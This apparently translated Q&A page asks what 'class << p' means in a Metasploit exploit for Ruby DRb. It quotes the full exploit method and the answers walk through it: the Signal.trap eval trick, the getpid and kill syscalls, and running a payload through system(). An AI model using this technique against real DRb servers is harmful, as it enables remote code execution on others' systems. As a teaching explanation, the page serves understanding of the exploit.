簡體   English   中英

理解ruby語法“class << variable”

[英]Understanding ruby syntax “class << variable”

我一直在使用metasploit查看DRb中的舊bug,它使用以下方法:

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

我不是一個紅寶石程序員,但我對除了幾行以外發生的事情有一個普遍的認識。
任何人都可以解釋第5-9行中發生的事情嗎? (從“class << ...”開始)

class << p
  undef :send
end

這未定義對象psend方法( send用於在接收器上動態調用方法)。

它這樣做是為了利用DRbObjectmethod_missing實現,它將方法調用路由到遠程對象。 我對DRb不太熟悉,但我猜這可能是為了讓事情超過DRbServercheck_insecure_method檢查,但是我會把它作為練習留給你,因為它超出了問題的范圍在這里問。

一旦它通過method_missing實現了它需要做的任何事情,它就會在服務器進程上向Object添加一個方法my_eval ,然后使用system將有效負載作為shell命令執行。

class << p
  undef :send
end

此塊未定義在本地DRbObject實例上send 正如Michael所指出的,如果DRbObject沒有定義方法,它將使用method_missing將方法調用路由到遠程服務器。

在這種情況下,所有后續send調用將被路由到遠程服務器並在那里進行評估,而不是本地實例。

p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")

這會觸發帶有信號23的Signal.trap和一個似乎包含一塊代碼的符號,如果進行了評估,它將在Object上創建一個方法,該方法提供對shell的直接訪問。

根據文檔, Signal.trap可用於在從操作系統接收特定信號時運行塊或命令。 目前還不是很清楚命令是什么,所以我做了一些游戲。

 >   pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping                                                                       #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test                     #=> 1

看起來符號形式的命令將轉換為字符串,然后由Signal.trap進行eval

# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
  pid = p.send(:syscall, 20)
  p.send(:syscall, 37, pid, 23)

本節觸發調用Unix內核函數的Kernel#syscall rescue位處理64位系統調用號碼。 我們來看看這里的32位部分:

  • p.send(:syscall, 20)應該評估為sys_getpid()
  • p.send(:syscall, 37, pid, 23)應該評估為sys_kill(<pid>, 23) 這將觸發為信號23設置的早期陷阱。

總之,漏洞利用:

  1. Undefines通過method_missing send強制消息
  2. 使用method_missing觸發Signal.trap(23)其中一大塊ruby代碼轉換為符號形式的單行字符串
  3. 使用Kernel#syscall獲取當前正在運行的進程的PID
  4. 使用Kernel#syscall來調用kill -23 <pid> ,這會導致在2中設置的陷阱觸發,這反過來會破壞提供的符號,在Object上創建my_eval方法,提供對system訪問(shell命令行訪問)
  5. 使用有效負載調用新創建的my_eval方法

參考文獻:

http://syscalls.kernelgrok.com/

https://ruby-doc.org/core-2.2.0/Signal.html#method-c-tr​​ap

https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM